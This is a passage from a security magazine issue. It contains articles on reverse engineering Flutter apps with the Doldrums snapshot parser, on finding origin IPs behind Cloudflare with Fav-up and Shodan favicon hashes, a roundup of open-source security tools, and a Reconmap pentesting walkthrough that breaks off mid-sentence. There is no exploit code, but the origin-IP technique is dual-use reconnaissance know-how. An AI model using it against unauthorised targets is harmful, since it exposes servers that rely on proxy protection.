catenated, and each object is given an incremental reference ID. This step is known as the fill stage.

As a very simplified example (see the discussion at the end of this section), consider a Dart app that requires building a
snapshot containing an array A with two integers, say 7 and 12. This array is grouped together with other arrays into the ar-
ray cluster. Similarly, each of the two integers are grouped together with other integers into the integers cluster (called the
52
 Doldrums

mint cluster – short for medium integer). The alloc serialization stage of the app then starts, and each cluster goes
through its specific alloc stage. Each cluster’s class ID is written, followed usually by the number of objects in the cluster,
and then by each of its objects’ serialized metadata. For mints, there is no metadata, and the alloc stage writes down the
mint class ID (0x32), the number of mints in the cluster, and the value of each mint directly. As such, the alloc serialization
of the mint cluster containing 7 and 12 and no others is 0x3202070c.

For the array cluster, this step consists of simply writing the array class ID (0x4b), the number of arrays in the cluster, and
the number of elements l of each array. The alloc serialization of the array cluster, assuming there are no arrays other than
A in the cluster, is thus simply 0x4b0102, as A only has 2 elements. Once this trivial serialization stage is finished, other
cluster alloc stages are written, until the alloc stage is over for all clusters.

The fill stage then starts, and eventually reaches the mint and the array clusters. At this point, each array goes through its
specific fill stage. The mint cluster, exceptionally, has no fill stage, as all the required data has already been written. On the
other hand, for the array cluster, the fill stage consists of serializing each array consecutively. An array’s serialization is com-
posed of its length l (again), a reference to an object of type TypeParameters, and l references to each of the l objects in
the array. Assuming the integers have references 0x45 and 0x46, and the TypeParameters object has reference 0x78, the
fill stage of the array cluster becomes 0x02784546. An overview of the full snapshot can be visualized in Figure 2.

Header (starts with the magic number 0xf5f5dcdc)

Alloc stage of initial clusters
Alloc stage of the mint cluster: 0x3202070c (class ID, number of objects and
serialization of 7 and 12)
Alloc stage of intermediate clusters
Alloc stage of the array cluster: 0x4b0102 (class ID, number of objects, length of each
object)
Alloc stage of remaining clusters
Fill stage of initial clusters and intermediate clusters
Fill stage of the array cluster: 0x02784546 (length of the object, reference ID of the
TypeParameters object, reference IDs of the array items)
Fill stage of remaining clusters

Figure 2: layout of a snapshot containing a single array with two integers

In the above figure, initial, intermediate and remaining clusters simply refer to clusters other than the mint and array clus-
ters that were explicitly written down.

The previous example is simplified for various reasons. First, it contains a trivial array with only two elements, which is
hardly the case of any meaningful working app.

Second, it suggests mints are the only type of integers supported by Dart, which is false. They are arguably the most com-
mon, but not the only one. Mints can have up to 64 bits, yet small integers and big integers are also supported.

Third, Figure 2 ignores some additional snapshot content, namely the field table and the snapshot roots, which are not rele-
vant for the present article.

53
 Doldrums

Fourth, although nearly all clusters are serialized and concatenated, as depicted in Figure 2, there is a notable exception,
discussed in Section 5.

Finally, and by far more importantly, integers cannot really be encoded directly without running into some serious issues,
as the astute reader might have noticed. Namely, doing so restricts one to integers between 0 and 256. The same holds true
for class IDs and reference IDs. Each of these are thus instead encoded using a modified version of the LEB128 encoding.
This is a variable-length encoding that allows the encoding of arbitrary precision integers. Details of the encoding and its
variation can be found in [1] and [2], but such details will not be used in this article.

5. Doldrums: a Dart snapshot parser

Once the serialization process has been understood, the general strategy for parsing the libapp.so file should be clear,
and can be summarized into five steps:

1. Extract the isolate and VM snapshots from the libapp.so file. For the most part, only the isolate data is of interest.
The isolate instructions subsection plays no role in the deserialization process, as it simply contains the actual code.
Code examples are given in Section 6.

2.Parse the snapshot header.

3. Deserialize the cluster alloc stage.

4.Deserialize the cluster fill stage.

5. Use the deserialized data to recover class names, fields, method names, method signatures, and method code.

The header is rather simple to parse, and the entire code is presented in Figure 3, where stream denotes the input stream
containing the snapshot, and readUnsigned reads and decodes a (modified) LEB128 unsigned integer. The source file can
be found in [OTW1].

Figure 3: the Dart snapshot header parsing logic

Alas, the alloc and fill stages are rather complex, as there are around 150 different Dart types (and hence clusters), and
some of them have a non-trivial serialization. At the time of writing, Doldrums supports solely the most common Dart
types, and the deserialization logic that can be found in [OTW2] mimics the official one in [OTW3]. As an example, Figure 4
54
 Doldrums

shows the not too difficult case of the array cluster deserializer. For reference, the array cluster’s alloc stage consists of its
class ID (parsed outside the routine), the number of objects in the cluster (l. 831), and the length l of each object (l. 833).
The fill stage then contains, for each array, its length l (l. 841), a reference to an object of type TypeArguments (l. 842),
and l references to each of the l elements of the array (l. 845-846). Also note that the readRef function simply reads and
decodes a (modified) LEB128 encoded reference ID.

Figure 4 also shows in part how the Snapshot class is organized internally, and how it reflects Dart’s design. Indeed, line
848 adds an array reference to the field references. This field holds an array with every object in the isolate’s heap in-
dexed by its reference ID. A straightforward modification of Doldrum’s code allows one to read off elements of this array
directly, and access each object graph individually. This type of fine control is the basis of darter (see [OTW4]), a similar
parser for previous versions of Dart.

The notable exception in the serialization process, mentioned previously, is the string cluster, as its data is not included di-
rectly in the fill stage. Instead, the fill stage writes an offset into the RO data section, a section of the libapp.so file that
follows the snapshot, and contains all strings one after the other, memory-aligned, and in a custom format. Although this
makes no difference from a conceptual point of view, it needs, of course, to be taken into account, and is the reason behind
the rodata and rodataOffset fields of Doldrum’s Snapshot class.

Figure 4: array cluster deserialization routine

To use Doldrums, simply download it from [OTW5], and install the sole dependency: pyelftools ([OTW6]). Choose your
working directory containing the libapp.so file, and run

python3 ~/Doldrums/src/main.py -v libapp.so libapp.dol

where ~/Doldrums needs to be substituted for the appropriate location of Doldrums in the system.

This command will run the parser on the libapp.so file, and save the output in libapp.dol. The optional verbose op-
tion, -v, will print the offsets into the snapshot where each alloc and fill stages can be found. The reader interested in follow-
55
 Doldrums

ing along the deserialization process can use these offsets to quickly locate themselves in the snapshot data. In Figure 5,
some of these messages are shown. As an example, the ArrayDeserializer fill stage starts at byte number 168967, count-
ing from the beginning of the snapshot (bytes 0 to 4 are the magic number, 0xf5f5dcdc). Also note that clusters need not be
unique per type (there are multiple typed data and instance clusters, for instance).

INFO:OneByteStringDeserializer alloc stage at offset: 93811

INFO:TypedDataDeserializer alloc stage at offset: 94408

INFO:TypedDataDeserializer alloc stage at offset: 94725

INFO:InstanceDeserializer alloc stage at offset: 94735

INFO:InstanceDeserializer alloc stage at offset: 94740

INFO:InstanceDeserializer fill stage at offset: 94743

INFO:TypeArgumentsDeserializer fill stage at offset: 94744

INFO:TypeDeserializer fill stage at offset: 107100

INFO:FunctionTypeDeserializer fill stage at offset: 142696

INFO:TypeParameterDeserializer fill stage at offset: 164747

INFO:ClosureDeserializer fill stage at offset: 166942

INFO:MintDeserializer fill stage at offset: 167694

INFO:DoubleDeserializer fill stage at offset: 167694

INFO:ArrayDeserializer fill stage at offset: 168967

Figure 5: the verbose option outputs the start of every alloc and fill stage

The actual output, saved in this particular example in the libapp.dol file in the current working directory, shows the
app’s original class structure, and where the code for each method is located, as an offset relative to the beginning of the en-
tire libapp.so file. This is shown in Figure 6, for an app that we will keep using as a reference example.

56
 Doldrums

Figure 6: code offsets resolved by Doldrums

At this point, one might think the reversing is complete, as only native code is now left, which can be analyzed in any of
many available decompilers. Unfortunately, as we shall see in the next section, this is not entirely the case.

6. Devirtualization

As shown in Figure 6, Doldrums resolves code offsets of class methods. To explore the example a bit further, first consider
the original source code snippet, given in Figure 7. The app itself simply shows one of two messages in the middle of the
screen on the press of a button. The message changes depending on time, in order to induce some complexity in the native
code.

Figure 7: source code of the example app

According to Doldrums, the code for the method getGreeting is located 0xecb3c bytes into the libapp.so file. Open-
ing this file in Ghidra shows it has the default base offset of 0x100000, and the code can thus be found at memory address
0x1ecb3c. In this case, Ghidra’s analysis did not realize this section of the binary is actually a function, as shown in Figure
8.

57
 Doldrums

Figure 8: Ghidra fails to discover a function

The function can be manually defined at this offset, and named getGreeting, which results in the decompiled code
shown in Figure 9.

Figure 9: decompiled snippet of the getGreeting function

Figure 9 clearly shows how parsing the libapp.so file is only the tip of the iceberg. Indeed, some of the native code shown
therein, even for experienced reverse engineers and in such a ridiculously simple example, is, at first glance, meaningless,
and quite far from the source code in Figure 7.

Understanding exactly how Dart’s compilation suite works is a topic of ongoing investigation. Nonetheless, some prelimi-
nary remarks and results can be shared. First, note how there is a direct call to getName, as well as to + (Doldrums shows
this function to be the native version of the string concatenation method). In general, method calls are compiled down to
direct function calls. This makes it so that using Doldrums to resolve function names also recovers the call graph. In most
cases, a lot of information can be extracted from this graph alone, as is the case in the above example.

Second, note that the logic behind returning a different name depending on time is controlled by the if statement in lines
36 to 39 of the decompiled getName function in Figure 10. This is hinted at by the use of the value 0x1e (30). The actual
call to the time routine is hidden in the function named get:second, which corresponds to a method of the DateTime

58
 Doldrums

class, as shown by Doldrums’ output. The references to the strings Mary and Hugh are, as one might guess, given by the two
offsets of R15 in lines 37 and 39, respectively.

Figure 10: snippet of the decompiled getName function

One might think that R15 simply holds a pointer to the RO data section, and that the string can be recovered by reading this
section at the specified offset. Unfortunately, that is not the case. Register R15 holds, in fact, a pointer to a table of pointers.
The latter include string pointers, among pointers to other resources, yet the order in which the table is built does not neces-
sarily correspond to the order in which the resources appear in the snapshot. This makes it so that resolving these refer-
ences is currently best done by examining the value of the register during an actual execution of the program, and then
dumping memory at the relevant addresses. This can be done with binary instrumentation tools such as Frida (see
[OTW7]). Although cumbersome and slow, it does allow the analyst to recover some more information. In the previous ex-
ample, the strings Mary and Hugh would be recoverable.

Finally, it is essential to realize that Dart makes a series of checks during runtime (type checks, argument checks in method
calls, …), and reacts accordingly. These are the reasons behind the seemingly random chunks of code across the decompiled
functions above (e.g.: lines 7 to 10 in Figure 9). However, from a reverse engineering point of view, they are of little impor-
tance, as the true behaviour of the program is dictated by what happens when these checks are successful, and not by the
exception handlers (evidently, there may be edge cases where this is false, but those should be very, very rare).

7. Conclusion

Reversing Flutter applications remains one of the most challenging reversing problems to date. Due to its accelerated adop-
tion, it is also one of the most important problems to solve at the present. In this article, we’ve presented the first step in the
journey towards a complete solution: a parser that is able to recover class data from the compiled binaries. Combined with
a decompiler and appropriate dynamic analysis tools, a fair amount of semantics can be obtained, which may prove to be
decisive in malware analysis, security auditing or similar.

A full, practical, solution, however, is still at large. Such a solution would have to be a tool that is able to, at the very least:

59
 Doldrums

• Do without the manual memory dumping, and instead obtain the resource table, the exception handling table, and others
purely from the compiled binary.

• Resolve relevant data within the decompiled code (e.g.: showing “Mary” instead of R15 + 0xa88f).

• Present function arguments clearly, which requires implementing a routine to interpret Dart’s calling convention (a topic
that was not covered in this article, but for which details can be found in [3] and [4]).

• Search for resource cross references.

None of the above steps is trivial, and some require in-depth knowledge of the internal workings of the Dart virtual ma-
chine, which can only be obtained by thoroughly studying its source and analyzing examples. Future versions of Doldrums
are expected to address some of the points highlighted above.

To make matters worse, Dart allows developers to obfuscate their code. Although the obfuscation is currently limited to sim-
ple class and method renaming, it is extremely effective at making matters a lot more difficult for reverse engineers. The
only good news for reversers is the fact that writing more complicated obfuscators is likely to be a very hard problem as
well.

8. Glossary

• Alloc stage (p. 3): serialization of cluster metadata.

• Class ID (p. 3): a predefined number assigned to each Dart type.

• Cluster (p. 3): a set of objects of the same Dart type.

• Fill stage (p. 3): serialization of cluster data.

• Isolate (p. 2): a structure containing in particular a heap with object graphs.

• Mint (p. 3): medium integer (64 bits).

• Reference ID (p. 3): an incremental number assigned to each object in a snapshot.

• RO data section (p. 5): a read-only section of the libapp.so file that immediately follows the corresponding snap-
shot.

• Snapshot (p. 2): serialization of an isolate’s heap.

• VM isolate (p. 2): a special isolate whose heap contains immutable objects.

60
 Doldrums

9. On The Web

[OTW1] https://github.com/rscloura/Doldrums/blob/main/src/v2_12/Snapshot.py

[OTW2] https://github.com/rscloura/Doldrums/blob/main/src/v2_12/Cluster.py

[OTW3]
https://github.com/dart-lang/sdk/blob/7c148d029de32590a8d0d332bf807d25929f080e/runtime/vm/clustered_snapshot.cc

[OTW4] https://github.com/mildsunrise/darter

[OTW5] https://github.com/rscloura/Doldrums

[OTW6] https://github.com/eliben/pyelftools

[OTW7] https://frida.re/

10. References

[1] https://en.wikipedia.org/wiki/LEB128

[2] https://rloura.wordpress.com/2020/12/04/reversing-flutter-for-android-wip/

[3] https://blog.tst.sh/reverse-engineering-flutter-apps-part-2/

[4] https://blog.tst.sh/reverse-engineering-flutter-apps-part-2/

[5] https://mrale.ph/dartvm/

About the Author

Ricardo Loura
Ricardo Loura is a mathematician turned security expert. He holds an MSc in Mathematics and a PhD
in information security, and has been working in security professionally since 2016. His main special-
ties are mobile application pentesting and malware analysis. He has also worked on formal verifica-
tion methods for the Ethereum Virtual Machine, and on machine learning algorithms for network in-
trusion detection. Currently, he works as a security engineer for Adjust, and keeps a technical blog
over at https://rloura.wordpress.com/.

61
 UNVEILING IPS BEHIND
CLOUDFLARE WITH FAV-UP
by Francesco Poldi
 Unveiling IPs behind Cloudflare With Fav-Up

Introduction

The need of unveiling IPs behind Cloudflare is not that rare, it's actually a very popular service that offers different solu-
tions to protect your network from attacks and for load-balancing the work-load (starting from CDNs). We'll focus on the
reverse proxy feature, so basically, when you are pointing to “domain.tld” and, instead of receiving data from the actual IP,
you get the response from a Cloudflare's IP. This feature works as anti-DDoS as well, but we don't really need to care about
it.

Even though we'll play with Cloudflare, the explained techniques will work for other services too, because we'll not exploit a
bug in the Cloudflare system, instead we'll exploit misconfigurations of our target (or even just bad opsec). So let's start
from there.

Like the math teacher used to say, “before looking for the solution, be sure one exists” and we will start from here.

How do we know the actual IP behind a domain name? Can we get to know it? Well, there’s not a general rule. We have just
to hope for some misconfiguration made by the sysadmin/webmaster. For example, the sysadmin might not have config-
ured the firewall properly, or the webmaster might have not used the right resources’ address by pointing directly to IPs in-
stead of domains.

Exploiting webmaster misconfigurations

This sort of misconfiguration is the easiest to exploit, it’s actually better to say “taking advantage of” since we get this infor-
mation via Open Source Intelligence Techniques, otherwise it would be like cheating. And we do not cheat on facts.

That being said, the first place to look is the resource’s address. From where is that Javascript file fetched? Where is that im-
age being hosted? And so on.

An interesting “attack vector” (again, actually we are not attacking anything) is the category of trackers and a common find-
ing is the Google Analytics Tracking ID. Another common one is defined by the requests made to API endpoints, but craft-
ing specific requests just to get to know how the API behaves might be sort of an issue especially in court debates, so better
to not go this way if you are not authorized to proceed.

Assuming the webmaster is not too much of a novice, the requests we may look at are XHR (XmlHttpRequest) and Web-
Socket. Without going into detail, we can think of them as the same “native” type, but WebSocket has some advantages, like
facilitating real-time data transfers. Still, what we see and what we should care about are just requests made to a given ad-
dress.

Now, in a real world scenario, many requests might be made for a given webpage and we do not have the time to look at
each of them so we may need some filtering rules. For what? How do we apply them? Where? Well, all can be made with
any modern web browser. The first step is to open the “Developer Tools” bar, then switch to the “Network” tab. There, a ta-

63
 Unveiling IPs behind Cloudflare With Fav-Up

ble will be presented, composed of all the requests with some details. For deeper details, we may need to inspect each re-
quest, but not this time.

The simplest and most common filtering rules we use are necessary to filter out the domain name. Mozilla describes this
section in the MDN Web Docs in a really great way, with examples, at this link [1].

Exploiting sysadmin misconfigurations

In this section, all the technical specifications and details will be avoided, thus this will be short.

Let’s suppose the sysadmin takes care of the DNS records and all the settings that are independent of the content published.

DNS records may lead to some interesting pivots, like mail exchange (MX record) being used to send/receive emails. If noth-
ing much is being found, we may still send an email and hope for a reply. We will not go further in this.

Another attack vector against sysadmin’s misconfigurations involves SSH fingerprints, but this is quite technical and a bit
off topic.

Given we defined two sets of possible misconfigurations (actually there are more), what are we missing?

Exploiting mixed misconfigurations

In this scenario, there aren’t bounds, and where there are no bounds conflicts rise. A common situation is when the content
gets published before sysadmin’s “Go”, or, worse, when the sysadmin did not complete the DCL (default check-list, most im-
portant things to check before going public).

And now we go to the subject of this article. What can we use to exploit this sort of misconfiguration? Why does it work?
How?

Personally, I choose to use one tool that I created myself called Fav-up [2]. First, let me thank my friend Alessandro Rella.
Alessandro is a Cybersecurity and Digital Forensics Expert.

Fav-up is a really simple tool, and I conceived it with simplicity in mind. Starting from different, common, input options cal-
culate the hash of the favicon icon and lookup on Shodan for possible matches. Available inputs are: local copy of the file,
domain name of interest and URL of the favicon icon used by the website of interest. The next step is to calculate the hash
with the Murur3 algorithm, and then run a lookup on Shodan for that specific hash (this step requires you a membership
account level on Shodan). After this, a few possible hints are displayed in the output screen.

64
 Unveiling IPs behind Cloudflare With Fav-Up

Real World Examples

1) a generic clearnet website behind Cloudflare:

First, let’s be sure that our target (a random chosen one) is actually behind Cloudflare.

Figure 1: First look at the target of choice

Then use Fav-up to try to unveil the actual domain hosting the content.

Figure 2: Usage of FavUp with a target of choice

65
 Unveiling IPs behind Cloudflare With Fav-Up

Finally, let’s confirm the IP that has been found is valid for the server hosting the content of our target:

Figure 3: Content served for the specific hostname

Figure 4: Same content served for direct connections to origin IP

2) generic darknet website

In this example, we’ll see another of Fav-up’s usage scope, with a specific focus on an innocuous darknet website, Duck-
duckgo.

Figure 5: Cropped output of DuckDuckGo's onion lookup

And by browsing Shodan for the specific http.favicon.hash query, we can see awaited results.

66
 Unveiling IPs behind Cloudflare With Fav-Up

Figure 6: Shodan's webpage of results for the specific query

Apart from the code, what it does exploit is the content currently available on the website, and compares it with historical
records. If the “true positive” (there could be false positives and others) IP is found, it could be because the firewall was not
currently set up.

What Shodan does is “just” scan ranges of IPs and write records of what is being found on different ports, so scanning them
regardless of the domain name, regardless of the content and looking at the sysadmin’s surface.

The mix resides in the content being published by the webmaster and the firewall rules (not) being put in place by the sysad-
min.

Another method is to search for a given title of a webpage, which could be the home page. If the title is not too generic, and
with some luck, we may find the right IP we are looking for.

Clearly, this is not enough. We can’t stop the research just because we found an IP of interest. Now we have the informa-
tion, but what’s needed is the intelligence. We can simply define intelligence as information in a given context. So, in order
to properly produce the intelligence needed, which is the context? How can we define it? The questions proposed here are
quite helpful, especially because by them we know that the context exists, at least one. This is not obvious, just think about
wordlists (nothing against wordlists, though).

In this case, the answer to the main question is really easy. We have, for sure, at least an IP and a timestamp. This is man-
datory to affirm at that time, the website and corresponding content was being hosted on the specific IP.

Attribution is important.

67
 Unveiling IPs behind Cloudflare With Fav-Up

Fav-up allows you to query Shodan starting from a domain name (by searching the favicon icon itself), from the specific
URL of the resource, or even just from a copy saved locally. Anyway, the hash is calculated and only the hash is used to
query Shodan.

Fav-up is not “100% bullet-proof”, and simple tricks on the webmaster side may defeat it.

There is not a one-size-fits-all solution.

Conclusion

Fav-up is just a tool that automates procedures we may accomplish manually, there’s no magic or actual exploits.

Starting from a generic view allows us to understand possible ways and methods to use without breaking anything. Not be-
ing noticed, actually trying to not be noticed, is another story. Every tool has different purposes and limits.

Last but not least, I would like to thank Aan Petruknisme [3] for helping me in coding Fav-up.

References:

[1] Mozilla MDN Web Docs: Network request list -

https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor/request_list

[2] Pielco11’s Fav-up GitHub repository - https://github.com/pielco11/fav-up

[3] Aan Petruknisme’s Twitter profile page - https://twitter.com/petruknisme

About the Author

Francesco Poldi

Francesco is a qualified Open Source Intelligence developer, with a focus on Social Media, Darknet and criminal under-
world. Currently, he is working as an external researcher for EU DisinfoLab to provide technical support for the WeVerify
project, and consultancy on various matters.

Francesco can be found on Twitter at the following link, https://twitter.com/noneprivacy

68
OPEN-SOURCE TOOLS FOR
CYBERSECURITY IN 2021
by Francis Jeremiah
 Open-Source Tools for Cybersecurity in 2021

Beyond a doubt, Open Source technology is one of the finest concepts ever conceived. The “open source” label was created
at a strategy session held on February 3rd, 1998 in Palo Alto, California1. Since then, there has been an uprising of tech-
nologies with such labels.

Open Source Technology simply refers to technologies that are open to modification and redistribution by anyone. A lot of
the most used software and tools are Open Source. It’s hard to find organizations that do not leverage some sort of open
source technology. You can find open source in web servers, databases, hacking tools, automation tools and even malware.

In this article, we are going to focus on the Open-Source Tools for Cybersecurity in 2021. In no particular order, it will
touch on spheres from penetration testing, incidence response, monitoring and defensive ops.

Nmap - https://nmap.org, https://github.com/nmap

Network Mapper is no doubt one of the first tools cybersecurity professionals deploy when starting a reconnaissance cam-
paign. Nmap is basically used for network discovery. It is a very simple to use and extremely powerful tool. Nmap helps to
visualize what IPs on a network are attached to hosts and what services are running on them. Nmap can be extended to do
vulnerability scanning and security auditing.

Nmap used in scanning a domain, https://nmap.org/book/man.html

OWASP ZAP (Open Web Application Security Project - Zed Attack Proxy) - https://www.zaproxy.org,
https://github.com/OWASP

For those familiar with Burpsuite, OWASP ZAP is the open source version. OWASP ZAP is a Web Application Security Scan-
ner managed by OWASP. The OWASP Zed Attack Proxy is a Java-based tool that comes with an intuitive graphical inter-
face, allowing web application security testers to perform fuzzing, scripting, spidering, and proxying in order to attack
web apps2. ZAP uses Dynamic Application Security Testing (DAST) methodology. It has features such as:

70
 Open-Source Tools for Cybersecurity in 2021

• Intercepting proxy

• Tools Integration

• Brute forcing capabilities

• SQL Injection scanner

Volatility Framework - https://www.volatilityfoundation.org,

https://github.com/volatilityfoundation/volatility

Volatility is a memory forensics tool used for incident response and malware analysis. Incidence response for RAM is much
harder than hard disks because of the nature of how volatile RAM is. Volatility offers a great way to analyze memory or
crash dumps of computer systems, even virtual machines. Volatility can be used to view running processes, commands exe-
cuted, malware present, DLLs and other things.

Volatility being used to show running processes, https://medium.com/@zemelusa/first-steps-to-volatile-memory-analysis-dcbd4d2d56a1

Wireshark - https://www.wireshark.org, https://github.com/wireshark

Wireshark is one of the most used network protocol analyzers. It is a network sniffer whose major components are packet
capture, filtering, data visualization and analysis. Wireshark can be used to capture network traffic of Ethernet, Wireless,
Bluetooth, USB and others. Wireshark can be used to troubleshoot network problems, test protocol implementations and
investigate network security issues. It is available on Windows and Unix.

71
 Open-Source Tools for Cybersecurity in 2021

Wireshark, https://www.javatpoint.com/wireshark

Wazuh - https://wazuh.com/, https://github.com/wazuh

Wazuh is a security monitoring tool for detecting threats, integrity monitoring and incident response at endpoints. It offers
simplicity with great functionality and flexibility. Wazuh can be used in all types of enterprises, from small to large. Wa-
zuh’s most basic functionality is log data collection from endpoints and providing intelligent security reports and alerts, but
that's not all it can do. Wazuh is scalable, has integration with the ELK stack and also offers cloud monitoring. Wazuh al-
lows the user to write rules and SCA (security assessment configuration) to catch specific events. Some features of Wazuh
include:

• Security Analytics

• Intrusion Detection

• Log Data Analysis

• File Integrity Monitoring

72
 Open-Source Tools for Cybersecurity in 2021

Wazuh Dashboard

Autopsy - https://www.autopsy.com, https://github.com/sleuthkit/autopsy

Autopsy is a digital forensics tool used in dead-box analysis. It operates on images of a good number of file systems such as
NTFS, FAT, ExFAT and finds forensic artifacts that indicate IOCs or details needed in investigations. Autopsy is free and open
source but it comes packed with functionalities that should be included in paid software. Plugins can be added to extend
functionality, it allows multiple users to work on one case and it is easy to use. It supports timeline analysis, web artifacts,
data carving and multimedia analysis.

Autopsy Dashboard, https://www.sleuthkit.org/autopsy/

73
 Open-Source Tools for Cybersecurity in 2021

Kali Linux - https://www.kali.org,

Kali is an extremely popular debian-based operating system geared towards all types of offensive security tasks including
digital forensics and malware analysis. Kali Linux evolved from Backtrack Linux and has now become the industry standard
when it comes to hacking. Kali Linux comes packed with an arsenal of offensive tools therefore saving a user the stress of
having to start installing utilities or building up the operating system. Kali Linux also has a mobile version called Kali
Nethunter. Kali Linux has a live version that can be setup on a USB drive and can be easily deployed on computer systems.

Kali Desktop, https://www.kali.org

ClamAV - https://www.clamav.net, https://github.com/Cisco-Talos/clamav:

ClamAV is a lightweight antivirus tool for detecting malware such as viruses, trojan, worms and other malicious software.
Some features of ClamAV include:

• Email Scanning

• Scheduled Scanning

• Multi-threading

• Support for other special files/formats including HTML, RTF and PDFs

It is available for Windows and UNIX based Operating Systems.

74
 Open-Source Tools for Cybersecurity in 2021

SonarQube - https://www.sonarqube.org/, https://github.com/SonarSource/sonarqube

SonarQube is an open source tool used for uninterrupted security inspection of code. It is used to review code quality and
ensure that code is rolled into production without bugs and vulnerabilities. It performs static code analysis on software, al-
though it has some dynamic analysis capabilities. Features of SonarQube include:

• Bugs and vulnerability detection in code

• Increased quality of code

• Scalability

• Increased productivity and consistency

SonarQube showing project metrics, https://sudonull.com/post/76091-We-control-the-quality-of-the-code-using-the-SonarQube-platform

Metasploit - https://www.metasploit.com, https://github.com/rapid7/metasploit-framework

Last but definitely not the least on this list is Metasploit. Metasploit is a framework that is used extensively in penetration
testing. It has a collection of industry standard exploits used in network enumeration all the way to exploitations.

Metasploit is broken down into modules, these modules are what add functionality to Metasploit. They are:

• Exploits

• Payloads

75
 Open-Source Tools for Cybersecurity in 2021

• Auxiliaries

• Encoders

• Nops

• Posts

Metasploit banner, https://securityxploded.com/penetration-testing-with-metasploit.php

Metasploit is a good example of point and shoot hacking tools, it already has automated exploits. You just have to make a
few configurations and execute.

References:

1. “History of the OSI | Open Source Initiative.” Opensource.org, 2011, opensource.org/history.

2.Obbayi, Lester. “Introduction to OWASP ZAP for Web Application Security Assessments.” Infosec Resources, 30 Mar.
2018, resources.infosecinstitute.com/topic/introduction-owasp-zap-web-application-security-assessments/.

76
 Open-Source Tools for Cybersecurity in 2021

About the Author

Francis Jeremiah
Francis Jeremiah is a Security Researcher who spends time exploring OSINT Techniques, deploying Infrastructure and re-
searching Offensive Capabilities.

77
STREAMLINING THE PENTESTING
PROCESS WITH RECONMAP
by Santiago Lizardo
 Streamlining the Pentesting Process with Reconmap

Introduction

Most people working in pentesting roles today started their careers because their curiosity pushed them to use systems in
unconventional ways. These people, the true hackers, enjoy putting systems to the test, to find their limits and discover secu-
rity holes, and understanding how everything is connected. Unfortunately, as they progress with their careers, they find
themselves spending an increasing amount of time writing reports and communicating with customers, and less time by-
passing security firewalls to break into new systems.

The generation of penetration test reports in traditional ways involves writing a lot, and writing similar, if not the same, sen-
tences again and again. It also requires gathering information generated in different ways, and putting them together in a
way that makes sense to the customer. The repetition is not limited to generating reports; for similar security projects, the
same commands are executed multiple times, altering only the arguments given to them. This repetition is not only time
consuming, it is also error prone and induces boredom. Many infosec and pentesting teams today continue using manual
methods to do this, and are becoming less competitive, and less profitable, in return.

Reconmap’s goal is to streamline the entire pentesting process thanks to the use of templating and automation and making
collaborating on security projects fun. This article describes what this means and how to get started.

A day in the life of a penetration tester

Let’s imagine today is another glorious day in the life of you, a professional penetration tester who has adopted Reconmap
as its Vulnerability Assessment and Penetration Testing (VAPT) platform.

You receive an email from a new customer that is urgently needing a penetration test to be completed against one of their
applications.

Starting a new project

Reconmap offers a simple but effective way to keep all your clients’ information in one place; it’s not a CRM but you could
use it as such.

Creating a client is a one minute job where you enter basic client information (such as name, URL, description) and one or
more points of contact (business, technical, other).

Figure 1: Clients list

79
 Streamlining the Pentesting Process with Reconmap

With the client created, all we need next is to create a project.

New project from template

This is the first point where templating comes into use. Instead of creating a project from scratch, which would mean add-
ing all the project’s tasks one by one, even if the tasks for a typical pentesting project are always the same across multiple
clients, we are going to be creating a project from a predefined template.

Note: In the event of not finding a suitable project template, you can create a project template with the tasks that make
sense to you and your team, and reuse it multiple times with future clients.

Figure 2: Project template form

Adding a new task

Let’s say we have chosen a template but we want to add one more task to the project to find all open ports in a given target.

80
 Streamlining the Pentesting Process with Reconmap

Figure 3: New task form

The tasks in Reconmap are like tasks in any regular task management application with one important difference. You can
indicate which tasks require the execution of a command, and when you do so, automation comes into place.

Simply put, the pentester can now effortlessly run the command linked to the task and Reconmap will take all necessary
steps to grab the output of this command, parse it, and add the results (new hosts, vulnerabilities, etc.) to the assets in the
project, which later can be included in the pentest report.

Your arsenal

After some time working in security you can look back and realise you have amassed a long list of commands in your arse-
nal. Reconmap allows you to store those security commands and tools in one single place, and share it with others for better
team collaboration. Each command comes with a description, but also with a list of arguments and with instructions on
how to run the command, as well as how the output should be captured.

81
 Streamlining the Pentesting Process with Reconmap

Figure 4: Command database

Running a command could be done directly on the user’s terminal or through Reconmap’s own CLI tool, rmap. Rmap uses
docker containers under the hood to run commands even if they are not installed on the host system, and resolves all de-
pendencies automatically for you.

Figure 5: Running rmap to automate command execution

82
 Streamlining the Pentesting Process with Reconmap

Seconds after the command output is uploaded to the server, it will be processed, reducing the time the user normally takes
hand crafting a command line, analysing the results, and saving them for later use.

Of course, not everything can be automated, and sometimes it’s going to be us humans finding vulnerabilities in places
where no tool can reach. For those cases, Reconmap also comes with the possibility of creating vulnerability templates, with
description, impact, solutions that you write once and reuse many times across customers.

Vulnerability confirmation and resolution

Figure 6: Triaging vulnerabilities

Our work is almost over; we have found, thanks to automation and templating, a number of vulnerabilities and whether
they are exploitable. Some of the remaining tasks include triaging the vulnerabilities to decide which ones to report, reject
or keep investigating.

Progress visibility

While the project is in progress, Reconmap will keep everyone informed of its progress. From the dashboard that welcomes
every user after login, to email reminders when tasks are due, to weekly executive summaries with a list of key performance
indicators across one or multiple clients.

83
 Streamlining the Pentesting Process with Reconmap

Figure 7: Dashboard widgets

Generating a report without the fuss

The last part of this process is generating the infamous reports. By this point, Reconmap already has all the information it
needs to generate a comprehensive report: project summary, team information, table of contents, list of document revi-
sions, findings overviews and details, executive summary, glossary, tools used and more.

When you head to the report section under a project, you have the option to save a report revision, and download a DOCX
report to share with your customer.

84
 Streamlining the Pentesting Process with Reconmap

Figure 8: Report preview

You can also send it directly to the client’s email address from our tool for more convenience.

Figure 9: Report revision

Team work

What we have covered in this article is, of course, a small part of what Reconmap can do. Although Reconmap can be used
on solo teams, it’s in teams of three or more pentesters where Reconmap really shines. Templates can be created by one of
the most senior testers and given to the less experienced ones for execution. Multiple users can share commands based on
their areas of expertise, tasks can be assigned to people based on their availability, deadlines can be set to tasks and project
levels and much more.

Adding users is, like everything else in Reconmap, a simple task. You can add users one by one or in bulk using the API.
Each user will have the option to setup two-factor authentication for an extra level of security.

85
 Streamlining the Pentesting Process with Reconmap

Figure 10: New user form

There are four different roles in Reconmap that would give the user different levels of access, from the administrator role
that can do everything, to the client role that can only see information about the projects that the user belongs to.

Batteries included

As you can also expect from any modern webapp, Reconmap comes with support for markdown rendering, an API (REST-
ful), audit log, export/import of data, logs, user manual and much more.

Backlog

All that has been described here is already available to users, but we never stop coding. Our backlog is full of tasks that go
